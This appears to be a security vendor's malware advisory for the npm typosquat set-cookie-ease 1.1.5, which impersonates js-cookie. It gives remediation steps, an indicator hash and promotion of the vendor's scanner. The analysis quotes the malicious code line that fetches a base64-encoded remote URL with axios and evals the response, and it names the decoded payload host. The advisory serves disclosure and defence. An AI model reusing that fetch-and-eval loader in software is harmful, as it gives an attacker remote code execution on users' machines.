Which versions of set-cookie-ease are malicious?

The following npm versions of set-cookie-ease are flagged malicious: 1.1.5. Treat any of these as compromised.

How do I remediate set-cookie-ease if I installed it?

set-cookie-ease is a typosquat — you almost certainly intended a legitimately-named package. Remove set-cookie-ease, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed set-cookie-ease — how do I know if it already compromised me?

If set-cookie-ease was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is set-cookie-ease part of a known attack campaign?

Yes — set-cookie-ease is associated with the IN-MAL-2026-007581 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find set-cookie-ease across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for set-cookie-ease (version 1.1.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging set-cookie-ease across your stack and pipelines.

Malicious package

set-cookie-easenpm

set-cookie-ease is a confirmed malicious npm package (MAL-2026-6500) that typosquats a legitimate package to trick installs (malicious version 1.1.5). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in set-cookie-ease (npm)

MAL-2026-6500

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall set-cookie-ease

What this malware does

Package masquerades as js-cookie (same banner /*! js-cookie v3.0.5 | MIT */, README, and repository.url: git://github.com/js-cookie/js-cookie.git) but diverges in dist/cookie.ease.js. At lines 46-49, the Cookies.set implementation contains if (typeof document === 'undefined' || attributes.expires == 0) { require('axios').get(atob('...')).then(r => { eval(r.data.content) }); return }. The base64 string decodes to https://www.jsonkeeper.com/b/VKUNI, a public mutable JSON-bin where the maintainer can swap the payload at any time. The branch fires whenever document is undefined (any Node/SSR consumer — Next.js, Nuxt, Remix, etc.) or when a caller passes expires: 0, executing arbitrary attacker-controlled JavaScript inside the consumer's Node process with full host privileges. To support this, package.json adds axios and request as dependencies despite the README advertising 'No dependency'. This satisfies the typosquat-with-malicious-payload class: installer harm is concrete (RCE on first Cookies.set call in Node) and the destination is attacker-mutable.

Malicious versions

1 flagged

1.1.5

Indicators of compromise (SHA-256)

b2bf656ba38b4d951239ee29799f510de4a8cb93fcf5d8005db4cd679a8631e6

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for set-cookie-ease (version 1.1.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging set-cookie-ease across your stack and pipelines.
If you installed it — respond
set-cookie-ease is a typosquat — you almost certainly intended a legitimately-named package. Remove set-cookie-ease, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If set-cookie-ease was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks set-cookie-ease before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. set-cookie-ease on npm has been identified as a malicious package (version 1.1.5 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007581

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks set-cookie-ease-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database